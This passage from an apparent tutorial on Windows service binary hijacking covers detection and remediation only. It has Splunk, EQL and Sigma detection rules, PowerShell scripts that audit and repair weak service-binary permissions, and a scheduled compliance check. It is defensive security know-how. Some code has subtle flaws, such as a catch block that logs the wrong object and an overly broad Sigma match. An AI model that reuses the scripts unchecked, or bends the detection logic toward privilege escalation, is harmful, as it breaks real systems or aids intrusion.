    Send-MailMessage -To "[email protected]" -From "[email protected]" -Subject "Service Binary Integrity Alert" -Body ($alerts | ConvertTo-Html) -SmtpServer "smtp.company.com" -BodyAsHtml
}

SIEM Detection Rules

Splunk query for service binary exploitation:

index=windows (EventCode=4663 OR EventCode=4670 OR EventCode=7045)
| eval service_path=case(
    EventCode=4663, Object_Name,
    EventCode=7045, Service_File_Name,
    true(), null()
  )
| where match(service_path, "(?i)\\\\service\\.exe$") AND NOT match(service_path, "(?i)^C:\\\\Windows\\\\")
| eval action=case(
    EventCode=4663 AND match(Accesses, "WriteData"), "File_Modified",
    EventCode=4670, "Permission_Changed",
    EventCode=7045, "Service_Created",
    true(), "Unknown"
  )
| stats values(action) as actions, count by service_path, user
| where count > 0

Elastic Stack (EQL) detection:

sequence by host.name with maxspan=1h
  [file where event.type == "change" and
   file.path : ("?:\\Program Files\\*\\*.exe", "?:\\Program Files (x86)\\*\\*.exe") and
   not file.path : "?:\\Program Files\\Windows*"]
  [process where event.type == "start" and
   process.parent.name == "services.exe" and
   process.executable : file.path]

Sigma Rule

title: Service Binary Hijacking Detection
id: a5c1de3c-f8d3-4e6b-9c7e-2a1f3b4c5d6e
status: experimental
description: Detects potential service binary hijacking through file modifications followed by service execution
references:
    - https://attack.mitre.org/techniques/T1574/010/
tags:
    - attack.privilege_escalation
    - attack.persistence
    - attack.t1574.010
logsource:
    product: windows
    service: security
detection:
    selection_modification:
        EventID: 4663
        ObjectType: 'File'
        AccessMask: '0x2'  # Write access
    selection_path:
        ObjectName|contains:
            - '\service.exe'
            - '\svchost.exe'
            - '.exe'
    filter:
        ObjectName|startswith: 'C:\Windows\'
    condition: selection_modification and selection_path and not filter
falsepositives:
    - Legitimate software updates
    - Administrative maintenance
level: high

Mitigation and Remediation

Immediate Remediation

Fix vulnerable service binary permissions:

# Automated remediation script
$vulnerableServices = Get-CimInstance -ClassName win32_service | ForEach-Object {
    $servicePath = ($_.PathName -split ' -')[0] -replace '"', ''
    if (Test-Path $servicePath -ErrorAction SilentlyContinue) {
        $acl = Get-Acl $servicePath -ErrorAction SilentlyContinue
        if ($acl) {
            $weakACL = $acl.Access | Where-Object {
                ($_.FileSystemRights -match 'Write|Modify|FullControl') -and
                ($_.AccessControlType -eq 'Allow') -and
                ($_.IdentityReference -match 'Users|Everyone|Authenticated')
            }

            if ($weakACL) {
                [PSCustomObject]@{
                    ServiceName = $_.Name
                    ServicePath = $servicePath
                    WeakACE = $weakACL
                }
            }
        }
    }
}

# Fix permissions for each vulnerable service
foreach ($service in $vulnerableServices) {
    Write-Host "Fixing: $($service.ServicePath)" -ForegroundColor Yellow

    # Remove weak permissions
    icacls $service.ServicePath /remove "Users" /t
    icacls $service.ServicePath /remove "Everyone" /t
    icacls $service.ServicePath /remove "Authenticated Users" /t

    # Set proper permissions
    icacls $service.ServicePath /grant:r "SYSTEM:(F)"
    icacls $service.ServicePath /grant:r "Administrators:(F)"
    icacls $service.ServicePath /grant:r "Users:(RX)"

    # Verify fix
    $newACL = Get-Acl $service.ServicePath
    $stillWeak = $newACL.Access | Where-Object {
        ($_.FileSystemRights -match 'Write|Modify|FullControl') -and
        ($_.IdentityReference -match 'Users|Everyone|Authenticated')
    }

    if ($stillWeak) {
        Write-Host "FAILED: Still vulnerable" -ForegroundColor Red
    }
    else {
        Write-Host "SUCCESS: Permissions hardened" -ForegroundColor Green
    }
}

Bulk Remediation with Logging

# Comprehensive remediation with backup and rollback
$logFile = "C:\Remediation\service_permissions_$(Get-Date -Format 'yyyyMMdd_HHmmss').log"
$backupFile = "C:\Remediation\service_acls_backup_$(Get-Date -Format 'yyyyMMdd_HHmmss').csv"

# Backup current ACLs
$backup = Get-CimInstance -ClassName win32_service | ForEach-Object {
    $servicePath = ($_.PathName -split ' -')[0] -replace '"', ''
    if (Test-Path $servicePath -ErrorAction SilentlyContinue) {
        $acl = Get-Acl $servicePath -ErrorAction SilentlyContinue
        [PSCustomObject]@{
            ServiceName = $_.Name
            ServicePath = $servicePath
            SDDL = $acl.Sddl
        }
    }
} | Export-Csv $backupFile -NoTypeInformation

Write-Host "Backup saved: $backupFile" -ForegroundColor Cyan

# Identify and fix vulnerable services
$results = @()
$vulnerable = Get-CimInstance -ClassName win32_service | ForEach-Object {
    $servicePath = ($_.PathName -split ' -')[0] -replace '"', ''
    $serviceDir = Split-Path $servicePath -Parent

    if (Test-Path $servicePath -ErrorAction SilentlyContinue) {
        $acl = Get-Acl $servicePath -ErrorAction SilentlyContinue
        if ($acl) {
            $weakACL = $acl.Access | Where-Object {
                ($_.FileSystemRights -match 'Write|Modify|FullControl') -and
                ($_.AccessControlType -eq 'Allow') -and
                ($_.IdentityReference -match 'Users|Everyone|Authenticated')
            }

            if ($weakACL) {
                try {
                    # Remove dangerous permissions
                    $identities = $weakACL | Select-Object -ExpandProperty IdentityReference -Unique

                    foreach ($identity in $identities) {
                        & icacls $servicePath /remove $identity 2>&1 | Out-Null
                    }

                    # Set secure permissions
                    & icacls $servicePath /inheritance:r 2>&1 | Out-Null
                    & icacls $servicePath /grant:r "SYSTEM:(F)" 2>&1 | Out-Null
                    & icacls $servicePath /grant:r "Administrators:(F)" 2>&1 | Out-Null
                    & icacls $servicePath /grant:r "Users:(RX)" 2>&1 | Out-Null

                    # Also fix parent directory if writable
                    if (Test-Path $serviceDir) {
                        $dirACL = Get-Acl $serviceDir
                        $weakDirACL = $dirACL.Access | Where-Object {
                            ($_.FileSystemRights -match 'Write|Modify|FullControl') -and
                            ($_.IdentityReference -match 'Users|Everyone|Authenticated')
                        }

                        if ($weakDirACL) {
                            $dirIdentities = $weakDirACL | Select-Object -ExpandProperty IdentityReference -Unique
                            foreach ($identity in $dirIdentities) {
                                & icacls $serviceDir /remove $identity 2>&1 | Out-Null
                            }
                        }
                    }

                    $results += [PSCustomObject]@{
                        Timestamp = Get-Date -Format 'yyyy-MM-dd HH:mm:ss'
                        ServiceName = $_.Name
                        ServicePath = $servicePath
                        Status = "SUCCESS"
                        Message = "Permissions hardened"
                    }
                }
                catch {
                    $results += [PSCustomObject]@{
                        Timestamp = Get-Date -Format 'yyyy-MM-dd HH:mm:ss'
                        ServiceName = $_.Name
                        ServicePath = $servicePath
                        Status = "FAILED"
                        Message = $_.Exception.Message
                    }
                }
            }
        }
    }
}

# Export results
$results | Export-Csv $logFile -NoTypeInformation
$results | Format-Table -AutoSize

Write-Host "`nRemediation Summary:" -ForegroundColor Cyan
Write-Host "Total Fixed: $(($results | Where-Object {$_.Status -eq 'SUCCESS'}).Count)" -ForegroundColor Green
Write-Host "Failed: $(($results | Where-Object {$_.Status -eq 'FAILED'}).Count)" -ForegroundColor Red
Write-Host "Log saved: $logFile" -ForegroundColor Cyan

Preventive Measures

Group Policy Hardening

Implement GPO-based security controls:

# Enable file system auditing via GPO
# Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration
# > Object Access > Audit File System (Success, Failure)

# Restrict service installation to administrators
# Computer Configuration > Policies > Windows Settings > Security Settings > System Services
# Set all non-Windows services to require administrative approval

# Deploy via PowerShell
secedit /configure /db secedit.sdb /cfg secure_services.inf

# secure_services.inf:
# [Service General Setting]
# "CustomService",2,"D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)"

Application Installation Standards

Create secure deployment template:

# Secure service deployment function
function Install-SecureWindowsService {
    param(
        [string]$ServiceName,
        [string]$DisplayName,
        [string]$ExecutablePath,
        [string]$InstallPath = "C:\Program Files\$DisplayName",
        [string]$ServiceAccount = "LocalSystem"
    )

    # Create installation directory with proper permissions
    New-Item -Path $InstallPath -ItemType Directory -Force | Out-Null

    # Set secure directory permissions
    icacls $InstallPath /inheritance:r
    icacls $InstallPath /grant:r "SYSTEM:(OI)(CI)(F)"
    icacls $InstallPath /grant:r "Administrators:(OI)(CI)(F)"
    icacls $InstallPath /grant:r "Users:(OI)(CI)(RX)"

    # Copy executable
    Copy-Item $ExecutablePath -Destination $InstallPath -Force

    # Set secure file permissions
    $serviceExe = Join-Path $InstallPath (Split-Path $ExecutablePath -Leaf)
    icacls $serviceExe /inheritance:r
    icacls $serviceExe /grant:r "SYSTEM:(F)"
    icacls $serviceExe /grant:r "Administrators:(F)"
    icacls $serviceExe /grant:r "Users:(RX)"

    # Create service
    New-Service -Name $ServiceName `
                -DisplayName $DisplayName `
                -BinaryPathName "`"$serviceExe`"" `
                -StartupType Automatic `
                -Credential $ServiceAccount

    Write-Host "Service installed securely: $ServiceName" -ForegroundColor Green
}

# Usage
Install-SecureWindowsService -ServiceName "MyService" `
                             -DisplayName "My Application Service" `
                             -ExecutablePath ".\myapp.exe"

Continuous Compliance Monitoring

Automated compliance checking:

# Deploy scheduled compliance check
$complianceScript = @'
$vulnerableServices = @()

Get-CimInstance -ClassName win32_service | ForEach-Object {
    $servicePath = ($_.PathName -split ' -')[0] -replace '"', ''

    if (Test-Path $servicePath -ErrorAction SilentlyContinue) {
        $acl = Get-Acl $servicePath -ErrorAction SilentlyContinue
        if ($acl) {
            $weakACL = $acl.Access | Where-Object {
                ($_.FileSystemRights -match 'Write|Modify|FullControl') -and
                ($_.AccessControlType -eq 'Allow') -and
                ($_.IdentityReference -match 'Users|Everyone|Authenticated')
            }

            if ($weakACL) {
                $vulnerableServices += [PSCustomObject]@{
                    Computer = $env:COMPUTERNAME
                    ServiceName = $_.Name
                    ServicePath = $servicePath
                    ServiceAccount = $_.StartName
                    WeakPermission = ($weakACL | ForEach-Object { "$($_.IdentityReference): $($_.FileSystemRights)" }) -join '; '
                }
            }
        }
    }
}

if ($vulnerableServices.Count -gt 0) {
    $body = $vulnerableServices | ConvertTo-Html -Head "<style>table {border-collapse: collapse;} th, td {border: 1px solid black; padding: 8px;}</style>" | Out-String
    Send-MailMessage -SmtpServer "smtp.company.com" `
                     -From "[email protected]" `
                     -To "[email protected]" `
                     -Subject "ALERT: Vulnerable Service Permissions on $env:COMPUTERNAME" `
                     -Body $body `
                     -BodyAsHtml
}
'@

# Deploy as scheduled task
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument "-ExecutionPolicy Bypass -Command `"$complianceScript`""
$trigger = New-ScheduledTaskTrigger -Weekly -DaysOfWeek Monday,Thursday -At 2am
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest

Register-ScheduledTask -TaskName "ServicePermissionCompliance" `
                       -Action $action `
                       -Trigger $trigger `
                       -Principal $principal `
                       -Description "Monitors service binary permissions for security compliance"

References

Security Resources

CIS Microsoft Windows Server Benchmark - Security benchmarks
PowerSploit - Get-ModifiableServiceFile - Service enumeration
WinPEAS - Automated privilege escalation checks

Next Steps

After identifying service binary hijacking vulnerabilities:

Audit all third-party services for weak permissions
Implement automated compliance monitoring to detect new vulnerabilities
Review deployment procedures to ensure secure installation practices
Document and remediate all identified vulnerabilities
Explore related privilege escalation techniques:

Takeaway: Service binary hijacking remains a prevalent privilege escalation vector due to poor software deployment practices. The combination of secure installation procedures, regular permission audits, file integrity monitoring, and automated compliance checking provides robust defense against this attack class. Make service security a mandatory component of your application deployment lifecycle and change management processes.

Windows Service Binary Hijacking for Privilege Escalation

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